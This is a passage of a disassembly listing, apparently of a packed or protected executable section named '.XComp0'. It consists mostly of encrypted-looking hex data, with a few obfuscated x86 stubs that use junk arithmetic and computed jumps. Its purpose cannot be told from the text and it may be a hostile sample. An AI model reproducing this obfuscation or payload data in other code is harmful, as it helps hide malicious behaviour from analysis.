0CBF4D93Bh dd 5CA8503Fh, 5EC880BAh, 88760714h, 36F3239Ch, 14B946FBh dd 3BD855F9h, 29997211h, 651843F0h, 0E21D9F9Eh, 0CA35EC25h dd 9D46E825h, 24D8359Ah, 0FCF11CC1h, 0CFF8F957h, 0EA25C948h dd 33DC04E3h, 174322C2h, 0E5F1C647h, 1C37E607h, 0F26F4361h dd 31E821DEh, 43324B08h, 0F2AFF26Fh, 0CAF3D25Ch, 0A35EA911h dd 6F440578h, 4C8582F2h, 26C02A95h, 8265BD38h, 8273BEEEh dd 595E87A7h, 376A570h, 80F26F0Fh, 0C3474E83h, 5A4E967Eh dd 0ADDB8767h, 806C7A89h, 9176AE5Fh, 0C44FC426h, 0F26EFBB9h dd 0D804936h, 923BBA5Ch, 224CA449h, 623A4FEDh, 5B529752h dd 35Ah, 390FA600h, 29AC658Ch, 696CA13Eh, 23AA5F7Eh, 7C719A44h dd 35B84F7Bh, 787D8A32h, 3ABB4A6Fh dd 75788B2Dh, 0CCC14E72h, 4EC831Bh, 53242489h, 4BBh, 245C0100h ; --------------------------------------------------------------------------- add al, 5Bh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi sub esp, 4 mov [esp], esi push eax mov eax, 3AB30CFBh push edx mov edx, 7B8D6C2Bh neg edx not edx dec edx xor edx, 28472053h sub eax, edx pop edx add eax, 1F142AB1h mov edi, eax pop eax push 0E5Eh mov [esp], esp add dword ptr [esp], 4 pop esi push 7432h mov [esp], edx mov edx, edi mov [esi+8], edx pop edx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_5734FA ; --------------------------------------------------------------------------- db 20h, 5Bh, 79h dd 0C6084992h db 0FEh, 6, 0CEh ; --------------------------------------------------------------------------- loc_5AB1B3: ; CODE XREF: .XComp0:005AA0ACj mov eax, 5FCFB3Ch add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 16B4746h, 2258145Fh, 7EBF02F4h, 737CAC39h, 52C6286Ch dd 127AB944h, 18808D08h, 40DF2A7Bh, 2B6117DDh, 6DBFC070h dd 2469BB32h, 4698D05Fh, 250FB640h, 541B2AD3h, 7FC009DBh dd 24A6B953h, 62232577h, 39EBh, 2CC00B0h, 2E400B0h, 0B0h dd 0FA760000h, 0F64646ADh, 0FEE977B4h, 0FA3723A5h, 0BD4D4EAEh dd 937C4FA4h, 0DF4C778Eh, 0E74A238Ch, 0FD67538Fh, 0F6734B94h dd 0F38047A1h, 7B1523AAh, 932023C3h, 0CED37EE0h, 972C4F49h dd 97206741h, 930223D5h, 2BC27685h, 86AA22Ah, 182D622Eh dd 0A2BDAA00h, 1015DAD0h, 6A39EA7Dh, 9A7123C5h, 81B79E43h dd 0E7012639h, 18D373D9h, 97F99B00h, 16A923C0h, 96E90B29h dd 608CBE4Dh, 40FB263Bh, 2E817B9Bh, 96F83175h, 0C39757C0h dd 97F99B93h, 16A923C0h, 96E90B29h, 637BBE4Dh, 40FB263Bh dd 2E297B9Bh, 96F80BE9h, 0C9499AA6h, 1ECBE34Bh, 96D93CF1h dd 931ACA97h, 52E623C0h, 44ECF992h, 51783A29h, 0A84E59Ah dd 0C585DAD8h, 7B1023AAh, 932023C3h, 0CBD37BE0h, 972C6749h dd 97206741h, 930223DCh, 0CAC27380h, 3CA4169Eh, 0E6034005h dd 871DAE49h, 98782639h, 0F5D601C7h, 0A785ED4Bh, 19BD7AE4h dd 91872C82h, 218023C0h, 42F5DC47h, 0BA25DAC8h, 6A0EAE75h dd 838DAEC5h, 6A01DF05h, 930EAACFh, 1D0E23C0h, 938023C6h dd 839DB649h, 43DF2639h, 7B4523AAh, 930823C3h, 0CEC77EE0h dd 97264F49h, 97256741h, 938023DDh, 4E837685h, 80AD9E3Ah dd 58C143C8h, 8E9DA837h, 0F901DAEBh, 0C60249C4h, 93012028h dd 50DD03C0h, 0B72CAA9Dh, 0B764A2C4h, 931034C4h, 505D66C0h dd 0BCA4D600h, 3BD0A2A6h, 0EABCA8C8h, 7B85DACCh, 934023C4h dd 932033C0h, 9310A3CFh, 185823C0h, 18000784h, 0B746AAC0h dd 0CBF3A8C4h, 0BB41AEF3h, 97A82639h, 7F2023C0h, 9C1023C2h dd 93082845h, 96862CC0h, 290223C0h, 0DACF7DD0h, 0B73E4590h dd 0B704A811h, 8AA52CC4h, 7B1023C0h, 930823C6h, 0F3488A1Bh dd 9BEBB5F5h, 8B0123C0h, 84C68316h, 0CA9F1311h, 9CC9234Bh dd 0CD1023C0h, 92C14900h, 8AA44C61h, 93FD23F3h, 0D788770Bh dd 2CE627E4h, 0F9182B94h, 90C875C0h, 0B31023C0h, 1A56E09Eh dd 120007B4h, 89060784h, 0D50123C0h, 5D3FE096h, 0DEFB62E8h dd 934ADA79h, 93102C29h, 9CC956C0h, 629210A7h, 0D2F9F5B5h dd 63D497C4h, 93EAF33Fh, 9343CB91h, 0CA0023C0h, 0DF997A03h dd 0D78927E4h, 931327E4h, 0C24323C0h, 0BBB03903h, 1A35A80Ah dd 1A45DAD3h, 6FDC3645h, 0C31049C5h, 93082028h, 505C03C0h dd 0B746AA98h, 0B745A2C4h, 938038C4h, 501063C0h, 7B0CC6CAh dd 0A5E3E9A9h, 1AB5AA97h, 0CD01DADAh, 5F07DB4Bh, 1A0123C2h dd 6F7C3A45h, 8B80A0C5h, 6F3DA649h, 5323263Ch, 930ACF79h dd 0F9AED0C0h, 90EA76C0h, 0B30123C0h, 1ADDE09Dh, 124407ACh dd 86240784h, 0D61023C0h, 0F76DE095h, 93042929h, 7A5E61C0h dd 53C262E0h, 0F350EE59h, 0A0A5A64Bh, 96C82639h, 861023C0h dd 3C4D76EAh, 0E3309CA6h, 82EB429Eh, 340123C0h, 279DD28Eh dd 58906C0Ch, 0BBF6F344h, 0A7610A79h, 8B91A606h, 0F9472639h dd 90EA71C0h, 0B30123C0h, 1ADAE09Ah, 12440794h, 88240784h dd 0D11023C0h, 0AB9BE092h, 0C6279DB2h, 44838944h, 0A1FA1BAEh dd 0B7CDA6F1h, 12262639h, 7BBEAE22h, 931023C4h, 0F6F489Eh dd 1854AD71h, 0B746A80Ah, 0D7569AC4h, 930B5206h, 97646749h dd 64569AA6h, 94982C98h, 9C0823C0h, 93042247h, 26FDDBC0h dd 96F82B11h, 7BD123AAh, 934023C3h, 0CAE37AE0h, 97346F49h dd 972C6741h, 930423D4h, 0CBC17281h, 0A0C89EE9h, 160D2639h dd 96BCE6D0h, 7B7523AAh, 931023C3h, 0CECB7EE0h, 97204F49h dd 97266741h, 930123DBh, 2437685h, 93402DCDh, 6CD641C2h dd 0C6104910h, 93082028h, 505903C0h, 0B76EAA9Dh, 0B745A2C4h dd 938035C4h, 501566C0h, 1A366682h, 6A171245h, 1E8DAAC5h dd 0F901DACFh, 90EA70C0h, 0B30123C0h, 1ADBE09Bh, 1244079Ch dd 84240784h, 0D01023C0h, 70D8E093h, 1262F792h, 0F5EC6917h dd 9C61D94Bh, 9380254Ch, 0F99A2C0h, 192E428Bh, 169D4238h dd 96F110F5h, 7B5523AAh, 930223C3h, 0CAC27AE0h, 97A46F49h dd 97646741h, 932023D9h, 1AD37281h, 0EC74D0B8h, 7E81AA5Fh dd 0F907DAD3h, 90E972C0h, 0B38023C0h, 1A19E099h, 1224078Ch dd 8E140784h, 0D20823C0h, 0DAC4E091h, 0C5BC0CAEh, 85EAECAFh dd 0BAC5A6C9h, 55B52639h, 6A38BA45h, 937A70C5h, 930BCB95h dd 0CE2423C0h, 0FF8B7E03h, 0D78027E4h, 939927E4h, 0C60523C0h dd 0D6E6D203h, 1829A712h, 6A25C27Dh, 60B32CC5h, 528840A8h dd 93882C3Eh, 128023C0h, 51FB07F4h, 80C921B0h, 8C1023C0h dd 0C877154h, 45B5A3FCh, 1DBECFDFh, 0C36A1C17h, 267F0124h dd 96B92B11h, 7B7123AAh, 931023C3h, 0CACB7AE0h, 97206F49h dd 97266741h, 930123DCh, 0E7437281h, 3B6DDCC3h, 0F66BAD48h dd 0BD79964Bh, 16852639h, 96F8E6D0h, 93022B29h, 6ADD0BC0h dd 0EF4F894Eh, 0BED5AA7Bh, 6C25DAD6h, 0D6ADAA10h, 120DDAC4h dd 0E9E601Eh, 7E87AABCh, 0F904DADAh, 906874C0h, 0B34023C0h dd 1A7FE09Fh, 121407BCh, 8A0C0784h, 0D40423C0h, 0C6AE097h dd 4970B49Fh, 0BBFD9E49h, 16862639h, 96D93B59h, 90942C93h dd 9C0823C0h, 1E8FDD77h, 96FB3BC5h, 93012728h, 8B4490C0h dd 9348CB18h, 5AD323C0h, 1C8FFBF8h, 48B2D642h, 0C975E36Bh dd 930CCA90h, 30A123C0h, 5D0CE85h, 7F565100h, 0AE860EA5h dd 9734674Bh, 93082F29h, 5D1E15C0h, 0D636461Dh, 0BC83DAA8h dd 0F380A822h, 7A2143A0h, 932023D1h, 0A717A7D0h, 3033CDFFh dd 0B36DADF6h, 82A1AF01h, 1A604271h, 0F3840784h, 3691047Fh dd 43AB4586h, 2E9B7BA1h, 96F13A79h, 9BD5963Fh, 12532639h dd 0E8E5191Fh, 260B7C99h, 96B930ADh, 5630A64Dh, 937A263Ch dd 930BCB95h, 0CE2423C0h, 0FF8B7E03h, 0D78027E4h, 939727E4h dd 0C60523C0h, 1BC74403h, 0D71E9C37h, 6830FC3h, 96FD2F69h dd 9368F33Fh, 9302CB93h, 0C8A023C0h, 0CFC97803h, 0D7A127E4h dd 930927E4h, 0C04B23C0h, 37838503h, 9C67D1E0h, 9301214Bh dd 1A7BA8C0h, 6A5A8E45h, 16E6DFC5h, 96E93B59h, 8A832C87h dd 7A0423C0h, 930223D4h, 0D89BEF31h, 7D9B05B1h, 876E57DFh dd 78729B01h, 0DF4B866Bh, 93082728h, 4DD98AC0h, 938F2C77h dd 0C30123C0h, 0D70BF34Bh, 2D1727E4h, 9453DE5Ch, 7B10A89Eh dd 930823D1h, 50CD6F60h, 797BE048h, 48838E97h, 6F335C80h dd 97FA452Eh, 0D7A97988h, 98F927E4h, 240823C0h, 17063972h dd 1E58ADA9h, 0F9593DBAh, 906875C0h, 0B34023C0h, 1A7EE09Eh dd 121407B4h, 890C0784h, 0D50423C0h, 15B9E096h, 9376417h dd 883E453Dh, 42F5DCF6h, 1825DAC8h, 6A16F64Dh, 838DAEC5h dd 0F901DF05h, 90EA73C0h, 0B30123C0h, 1AD8E098h, 12440784h dd 85240784h, 0D31023C0h, 0A31DE090h, 12D4DC13h, 6FA42C02h dd 3E84AAB0h, 0F985DAF2h, 90A874C0h, 0B32023C0h, 1A4FE09Fh dd 120C07BCh, 86000784h, 0D40223C0h, 12B6E097h, 9381AFCFh dd 55BC23C0h, 6A38BA45h, 141F64C5h, 930823C3h, 12FEA8A6h dd 0A7D4BD29h, 5EF54B89h, 0F3D69B44h, 0F28FA8A6h, 0B714A299h dd 0AA48FE4Eh, 9303A7CFh, 95ED23C0h, 0EB0223C0h, 0C119BC8Bh dd 4235DCCBh dd 1E45DAC8h, 6FE53345h, 0C41049C5h, 93082028h, 505B03C0h dd 0B77EAA9Fh, 0B745A2C4h, 938037C4h, 501764C0h, 97A42CE5h dd 0F51023C0h, 6C6F277Eh, 0C4044910h, 93022028h, 505E03C0h dd 0B7FCAA9Fh, 0B704A2C4h, 932037C4h, 504764C0h, 98E143FCh dd 0BD0423C0h, 0B4C82686h, 445298FFh, 9B69BCEAh, 884023C0h dd 0C9C77AE5h, 0F251DF7Ch, 0B661A649h, 42842639h, 0A87E55Ah dd 0D404DAD8h, 7BD723AAh, 934023C3h, 0CCE37CE0h, 97345F49h dd 972C6741h, 930423D8h, 73C17487h, 97C7DD46h, 9386A1CFh dd 2EC923C0h, 96D9038Dh, 703D57A8h, 0B73CA223h, 0DA2A32E9h dd 7B5023AAh, 930123C3h, 0C94379E0h, 97647749h, 97046741h dd 931023D5h, 0E6CB7182h, 42B1DC8Ah, 2907DAC8h, 0F9E55300h dd 5690A64Dh, 16C9263Ch, 96D93149h, 5291F33Fh, 9A8A0E08h dd 8235A649h, 4C832639h, 0F488E252h, 260BF33Fh, 96B90221h dd 0B8A9A649h, 9CF92639h, 9E0823C0h, 0BF555E39h, 0C0E8BE74h dd 4C6E4554h, 1FE61E75h, 0C1404918h, 93202028h, 504A03C0h dd 0B75CAA9Ah, 0B740A2C4h, 93023EC4h, 505361C0h, 3962BACFh dd 3ABAC28Bh, 239AE44Dh, 0B76C7AB6h, 0BEB5A8C4h, 9901DAC8h dd 0AC862C00h, 0F90123C3h, 906875C0h, 0B34023C0h, 1A7EE09Eh dd 121407B4h, 8B0C0784h, 0D50423C0h, 51A2E096h, 9C4D65B7h dd 9380204Ah, 69CB45C0h, 8BB9A606h, 0F95F2639h, 90E072C0h dd 0B30423C0h, 1A5BE099h, 1205078Ch, 88840784h, 0D24023C0h dd 0D805E091h, 0BC9A396Ah, 94E1001Ah, 4A0423C0h, 7AFAAE80h dd 97E91B74h, 578023C0h, 7AFFA3ACh, 932023C8h, 5CEDCE60h dd 24342749h, 930ECB90h, 0F2FA23C0h, 0D268A2DFh, 0B9A7AC2Ah dd 0A3579AA6h, 0B764A89Fh, 96992CC4h, 2D0823C0h, 0A301ABB3h dd 6089234Bh, 97256749h, 9383A5CFh, 182623C0h, 934A7B32h dd 9313CB97h, 0CC2823C0h, 0EF8D7C03h, 0D78327E4h, 931727E4h dd 0C4C723C0h, 89CD5903h, 8091B64Bh, 2A702639h, 0CD438F43h dd 93042A28h, 1C3FC5C0h, 0E269AEF0h, 268194E5h, 96B9064Dh dd 26DF429Ah, 96E92B11h, 284617Ah, 8381AEB3h, 1207DF05h dd 80DCA807h, 0F950DCD4h, 90A873C0h, 0B32023C0h, 1A48E098h dd 120C0784h, 85000784h, 0D30223C0h, 1A02E090h, 610B45F0h dd 9345A5CFh, 0A39A23C0h, 102EE476h, 93620700h, 9307CB97h dd 0CC2223C0h, 0EF887C03h, 0D70127E4h, 935D27E4h, 0C46723C0h dd 0CF832803h, 6D6A9988h, 1AD0084Ah, 6A28E645h, 1A84A8C5h dd 0F985DAEBh, 90A875C0h, 0B32023C0h, 1A4EE09Eh, 120C07B4h dd 86000784h, 0D50223C0h, 0F862E096h, 82B1BE4Bh, 174F2639h dd 932023C2h, 0F953C371h, 90E070C0h, 0B30423C0h, 1A59E09Bh dd 1205079Ch, 84840784h, 0D04023C0h, 0A1D1E093h, 599B2896h dd 846DB6E9h, 888F2639h, 7B5323AAh, 930123C3h, 0CA437AE0h dd 97646F49h, 97046741h, 931023D6h, 0A0CB7281h, 1E2D0FC3h dd 96FB31E1h, 2967384Bh, 880B91BCh, 0A0B99CCFh, 0BEADA818h dd 1A15DADEh, 6A0C0E5Dh, 0C40449C5h, 93022028h, 505E03C0h dd 0B7FCAA9Fh, 0B704A2C4h, 93203BC4h, 504764C0h, 0ADC981B7h dd 0BE91AA61h, 6B07DAD8h, 0D73BE941h, 16460BABh, 96B93B59h dd 0C6204987h, 93102028h, 505503C0h, 0B768AA9Dh, 0B746A2C4h dd 93013FC4h, 50D566C0h, 0AA7B2F43h, 0E5E109D9h, 169DA814h dd 0FB0DDAEEh, 34CC8ABh, 82999CA6h, 0AD252741h, 1AA7B632h dd 6A48BA7Dh, 68AB45C5h, 9BC1963Fh, 6832639h, 96FD02D9h dd 0B6A3B64Bh, 168C2639h, 967CE6D0h, 7B1023AAh, 932023C3h dd 0CBD37BE0h, 972C6749h, 97206741h, 930223D6h, 0C0C27380h dd 12E6A60Ah, 6CC2B30Ah, 3EA5AA10h, 0C515DAF2h, 930BA5CFh dd 2C0B23C0h, 4FB47D32h, 8FCBA280h, 18CE2C4Eh, 18BAA8C0h dd 4AB528C0h, 1A15DAECh, 6A1ABA45h, 0C10449C5h, 93022028h dd 505B03C0h, 0B7D4AA9Ah, 0B704A2C4h, 932039C4h, 504261C0h dd 0A4437338h, 1A294FB0h, 6A167A75h, 0BEB4A8C5h, 7A85DAC7h dd 934022BEh, 7B7523AAh, 931023C3h, 0CECB7EE0h, 97204F49h dd 97266741h, 930123DAh, 40437685h, 57A4D179h, 9FC971B2h dd 0E31023C0h, 852CB5CCh, 0C466DEDEh, 9C887FB5h, 168CD47Fh dd 967CDFFBh, 93403229h, 58410FC0h, 0C04A4F27h, 621E2284h dd 5AC58435h, 0F352B4EEh, 0E0C899A6h, 93803329h, 250C34C0h dd 0C8119DD0h, 938466B8h, 55BB2A96h, 978D4267h, 4E9FAAE4h dd 6C04DAF2h, 6AAD8E55h, 0AEFDAAC5h, 1E25DADFh, 6FEC625Dh dd 0C20849C5h, 93042028h, 505B03C0h, 0B74DAA99h, 0B7C4A2C4h dd 93403AC4h, 507162C0h, 49700846h, 0C3F47ADEh, 93042428h dd 19AD80C0h, 1163B562h, 1AD9CC4Ah, 932A07DCh, 9323CB90h dd 0CB3023C0h, 0D7817B03h, 0D78527E4h, 931527E4h, 0C34123C0h dd 9671E503h, 62C175BBh, 88284FA8h, 90992C9Eh, 9C0823C0h dd 0F354F57Fh, 0CDBE9597h, 93012429h, 0FA60A4C0h, 8B4F0F72h dd 0B724AAA1h, 7B4523AAh, 930823C3h, 0CEC77EE0h, 97264F49h dd 97256741h, 938023D8h, 32837685h, 51B3D2CCh, 8619B63Fh dd 93622639h, 9307CB95h, 0CE2223C0h, 0FF887E03h, 0D70127E4h dd 935927E4h, 0C66523C0h, 8D479603h, 9CED4C8Ch, 9304274Eh dd 0CEBC45C0h, 869CAA48h, 1285DAC8h, 42188C0Ah, 56A5AACFh dd 0F315DAEAh, 82F19E49h, 7B572639h, 930223C7h, 9EE52202h dd 0CC96D1E3h, 16864299h, 96D93B59h, 0C2104993h, 93082028h dd 505D03C0h, 0B74EAA99h, 0B745A2C4h, 938038C4h, 501162C0h dd 13745581h, 5AB89799h, 0BD99AE4Bh, 97EC2639h, 0EC0223C0h dd 0C3ABA444h, 9C7BA892h, 97C92CF1h, 0F52023C0h, 0C9B35B7Eh dd 6B837398h, 9720674Bh, 7AD6A9A0h, 930123D0h, 289AA6EFh dd 875FEDACh, 9E733A40h, 29124B68h, 1A08A8A1h, 0CB000784h dd 7B5423AAh, 930123C3h, 0CD437DE0h, 97645749h, 97046741h dd 931023D8h, 5CCB7586h, 4AC00276h, 9BD3963Fh, 936B2639h dd 9383CB96h, 0CD6023C0h, 0E7A97D03h, 0D79127E4h, 931D27E4h dd 0C54223C0h, 9C6B0303h, 168CF477h, 967CE6D0h, 7B1723AAh dd 932023C3h, 0CCD37CE0h, 972C5F49h, 97206741h, 930223DBh dd 0EFC27487h, 27C7E69Bh, 7ACEDC4Eh, 932023CFh, 10A9817Fh dd 24836BE3h, 799DA4C1h, 1ADBFDB7h, 6A280E45h, 0B850DCC5h dd 6A512275h, 0AA5AAC5h, 0F915DAC0h, 90E073C0h, 0B30423C0h dd 1A5AE098h, 12050784h, 84840784h, 0D34023C0h, 0C5DE090h dd 9DF9CEDAh, 0B20823C0h, 19541225h, 2D312C2Dh, 43A3D7B2h dd 0A05E5C4h, 0D445DAD8h, 9BADB64Bh, 0DF782639h, 7ABB7F9Ah dd 930423D3h, 0DB20C6C8h, 82EC4FF0h, 9C9E3B9Bh, 4E7AA01Ah dd 1224B779h, 0DCCC07F4h, 936231EEh, 9307CB92h, 0C92223C0h dd 0C7887903h, 0D70127E4h, 935B27E4h, 0C16223C0h, 56391603h dd 0A0004FFDh, 4E99AA81h, 6C07DAD0h, 6A09F275h, 583F2CC5h dd 5650A64Dh, 934A263Ch, 9313CB90h, 0CB2823C0h, 0D78D7B03h dd 0D78327E4h, 931B27E4h, 0C3C023C0h, 0B0854C03h, 19990EAh dd 43EFEC4Bh, 0A295AE4Bh, 168D2639h, 96FB04E9h, 0BA20B6E9h dd 16462639h, 96B93B59h, 0B6A5AA93h, 0FB15DAD1h, 0F2AEEE10h dd 93042928h, 87AED3C0h, 511BD19Fh, 0C95C91F9h, 53642741h dd 0F917B151h, 90F874C0h, 0B30823C0h, 1A5BE09Fh, 120607BCh dd 88050784h, 0D48023C0h dd 1FEFE097h, 91BA0E91h, 1E9B9CC4h, 96F126DDh, 9BD5963Fh dd 83EB2639h, 0C80123C0h, 0A20CC8Ah, 0C8827F2Dh, 0A0B8A713h dd 1EB09711h, 6FCD3345h, 0C20449C5h, 93022028h, 505803C0h dd 0B7CCAA99h, 0B704A2C4h, 93203AC4h, 504162C0h, 7A0962AEh dd 26051953h, 96FB2DD9h, 0A2941297h, 0C985DAC9h, 932AF33Fh dd 9323CB93h, 0C83023C0h, 0CF817803h, 0D78527E4h, 931527E4h dd 0C04223C0h, 0DAD96C03h, 0E494385h, 96D9277Dh, 9E95A6E9h dd 1A692639h, 6A24F645h, 0C687AAC5h, 5504DAD7h, 6A98BA45h dd 932A74C5h, 9323CB90h, 0CB3023C0h, 0D7817B03h, 0D78527E4h dd 931427E4h, 0C34123C0h, 658D2A03h, 93C42C93h, 0CD2023C0h dd 37812AA8h, 40837286h, 0B700A29Ah, 0DA5DE33Dh, 7B5223AAh dd 938023C3h, 0C88378E0h, 97047F49h, 97346741h, 930823D4h dd 71C77083h, 385D99A6h, 9BD0963Fh, 26A92639h, 96B904F5h dd 8D37FC7Ah, 8395AEE2h, 0F90DDF05h, 90EC76C0h, 0B30223C0h dd 1A5CE09Dh, 128407ACh, 87440784h, 0D62023C0h, 6A47E095h dd 1681F33Fh, 96FD2AD1h, 7B5723AAh, 930123C3h, 0CE437EE0h dd 97644F49h, 97046741h, 931023D5h, 0E6CB7685h, 95882C8Eh dd 180223C0h, 6A13527Dh, 0A05E5C5h, 0D045DAD8h, 9621A649h dd 57782639h, 18A93269h, 0B730A213h, 8E83FA2Ch, 7B5223AAh dd 938023C3h, 0C88378E0h, 97047F49h, 97346741h, 930823D8h dd 75C77083h, 94852C21h, 6AB41292h, 0CC85DAD1h, 0DE839997h dd 1A7F4180h, 6A080E7Dh, 42BDDCC5h, 0F901DAC8h, 90EA75C0h dd 0B30123C0h, 1ADEE09Eh, 124407B4h, 8A240784h, 0D51023C0h dd 0B442E096h, 8A08EA7Fh, 5612A64Dh, 2C0E263Ch, 5E05AA32h dd 6C45DAE7h, 0C6204910h, 93102028h, 505503C0h, 0B768AA9Dh dd 0B746A2C4h, 93013EC4h, 50D566C0h, 71ED14BEh, 26226636h dd 2E9BE6C2h, 96F13799h, 0BA299E4Bh, 168B2639h, 96F808D5h dd 3A57A2A6h, 0A2C5AE34h, 0F925DF3Ch, 90F875C0h, 0B30823C0h dd 1A5AE09Eh, 120607B4h, 85050784h, 0D58023C0h, 6A36E096h dd 9AC973D0h, 141023C0h, 386FD452h, 408C10C1h, 0F9262749h dd 90E970C0h, 0B38023C0h, 1A1BE09Bh, 1224079Ch, 8B140784h dd 0D00823C0h, 599E093h, 9C36456Bh, 93012A49h, 90052CC0h dd 9C4023C0h, 6DFF17Fh, 96E90E6Dh, 7B5F23AAh, 930423C3h dd 0CCC17CE0h, 97255F49h, 97A46741h, 934023D7h, 17E37487h dd 1827ACBAh, 0C0084918h, 93042028h, 505903C0h, 0B75DAA9Bh dd 0B7C4A2C4h, 93403EC4h, 507360C0h, 0E8383BB5h, 0B29091FDh dd 16891B96h, 96FEDFE5h, 7B5723AAh, 938023C3h, 0CD837DE0h dd 97045749h, 97346741h, 930823D9h, 76C77586h, 772EC205h dd 0B2BCA84Eh, 0C385DAC5h, 0F5127393h, 0A22FDB4Bh, 0A21F7190h dd 0CB527B9Ah, 0B700AA99h, 7B5123AAh, 930123C3h, 0C84378E0h dd 97647F49h, 97046741h, 931023DBh, 9BCB7083h, 0CB2C1CDEh dd 6CB1BCh, 9C5373A0h, 0BB3F45F1h, 0F31879AAh, 0A2ED4378h dd 9318CBCAh, 596D23C0h, 0DF7A89C7h, 0F25A2D0Fh, 2C6773A1h dd 0F913E956h, 90A875C0h, 0B32023C0h, 1A4EE09Eh, 120C07B4h dd 8A000784h, 0D50223C0h, 74EBE096h, 3EECD395h, 9641B64Bh dd 2E292639h, 96E929F5h, 8601B63Fh, 936E2639h, 9301CB95h dd 0CE2123C0h, 0FF097E03h, 0D7C127E4h, 933A27E4h, 0C65523C0h dd 0D3BF3703h, 354B517Bh, 93022928h, 0EF3485C0h, 0D42DF919h dd 7AFE99ACh, 932023C5h, 0BF690EF6h, 16817DDCh, 96FD3051h dd 902399A6h, 9414A607h, 938F2639h, 6C923C0h, 96D92B7Dh dd 8081B63Fh, 1AF02639h, 6A131645h, 9313CAC5h, 0A57C23C0h dd 0EF9EA430h, 0CFC67D38h, 9E9A560Dh, 183F6EE9h, 6A104A7Dh dd 1E81A8C5h, 1E07DACFh, 6E11095Dh, 92C3AAC5h, 0A0759E4Dh dd 26AD2639h, 96ED33C4h, 93081079h, 78A0D0C0h, 93029BF3h dd 530A23C0h, 8B4220B4h, 0B704A8C0h, 93C870CCh, 0C81023C0h dd 931FE041h, 0CF8D23C0h, 0D78B33E4h, 2B5A37E4h, 9332D9F7h dd 0D7CBC33Fh, 73DF27E4h, 7B4023AAh, 930823C3h, 0CBC77BE0h dd 97266749h, 97256741h, 938023D6h, 0AF837380h, 934A2565h dd 9313CB97h, 0CC2823C0h, 0EF8D7C03h, 0D78327E4h, 931827E4h dd 0C4C723C0h, 937A0F03h, 9CB4063Ch, 0F371E87Fh, 0D6F998A6h dd 93042C29h, 81D7ADC0h, 0C3B7AFFEh, 9943A0D9h, 0D9B479EFh dd 0B69DAEA1h, 1E15DF3Ch, 6E18934Dh, 38319BC5h, 1631BBE6h dd 96F822CDh, 0AAF3ECEBh, 0C37B1523h, 0E0932023h, 49CED37Eh dd 41972C4Fh, 0D5972067h, 85930223h, 5E98376h, 0D98BA4F3h dd 217D8589h, 46E905F9h, 60000000h, 840FCE8Bh, 5, 435218BFh dd 6A61612Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 14042444h, 42000000h, 0C340C352h, 9E9h, 0EE8BF100h dd 5FEE5B8Fh, 6E9FCECh, 0E2000000h, 2FDC1662h, 6AC08B1Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 0D511C350h, 0BD83E28Bh, 5F931C9h, 83097500h dd 0F912B5BDh, 19740005h, 0C08B5350h, 4B9B8h, 0DD858900h dd 8D05F915h, 0FBF3EB9Dh, 5BD3FF05h, 0B5BD8358h, 5F912h dd 53501774h, 4B9B8h, 0DD858900h, 8D05F915h, 0FBF08C9Dh dd 5BD3FF05h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 5958FB5Fh, 0E960E61Ch, 10h, 466BBC4h dd 21109FD3h, 0AF8643DEh, 0A487A6D7h, 2890Fh, 0C68B0000h dd 9830F61h, 60000000h, 0BAE98166h, 61A4B265h, 13E9h, 0EBF11400h dd 0AA096F40h, 222BB820h, 36B51EDEh, 2CC23F38h, 6AC08Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 6FC5F3C3h, 8FDB9FC4h, 0C18B408Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 5C35747h, 658328Bh, 607F37F0h dd 8D8B9AB6h, 5F906DDh, 4EB61h, 8B000000h, 0F92029BDh dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0D4CC4B07h, 0FFC78166h, 0C1858DDBh, 6605F90Dh dd 9073BFBFh, 0DCBC38BFh, 0BE85072h, 4000000h, 1D7B48F3h dd 0ECBACA46h, 8B664B89h, 6A905FF2h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0F4F2C352h dd 0F440122h, 8B663720h, 6A006AFEh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1407C357h dd 6A522B08h, 0FAB70F00h, 1402858Dh, 6A05FDh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 99AB9FC3h dd 0C15FB916h, 5205C083h, 19D98D89h, 905E05F9h, 7E9h, 0D39EB600h dd 917F6E99h, 90F98B50h, 6A006AF5h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0FC86C353h dd 0B6691ABEh, 81006A20h, 0D6CC76C7h, 0ED95FF31h, 6A05F913h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0B8B6C351h, 0D1B11571h, 9D8DFC8Ah, 5FCE983h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 75C35141h dd 52C57CE1h, 87D9509h, 6E905F9h, 74000000h, 674B728h dd 6AD3FFD4h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0BA52C352h, 85FF7A24h, 5F9197Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2CC35242h dd 0E9FA8B78h, 7DEh, 0E8h, 0ED815D00h, 5FD140Ch, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 90C35343h, 870FEE9Dh dd 6, 0A266C781h, 0BD812688h, 5F90715h, 7D0h, 134860Fh dd 61BF0000h, 8B13E373h, 0F9202D9Dh, 118F0F05h, 0E9000000h dd 0Ch, 0FAD10159h, 680B3A39h, 0F6DB58Fh, 100E381h, 0B1BF0000h dd 0B26F0AFh, 69850FDBh, 0F000000h, 283h, 83F28B00h, 0FD124ABDh dd 840F0005h, 10h, 96B7EE81h, 81666B78h, 0E99205EFh, 8Eh dd 124A85C7h, 105FDh, 0BD8B0000h, 5F915A5h, 0AE9h, 0C7296700h dd 0A0187D96h, 0E9F69DE8h, 6Ah, 0E857006Ah, 3, 5FC35F20h dd 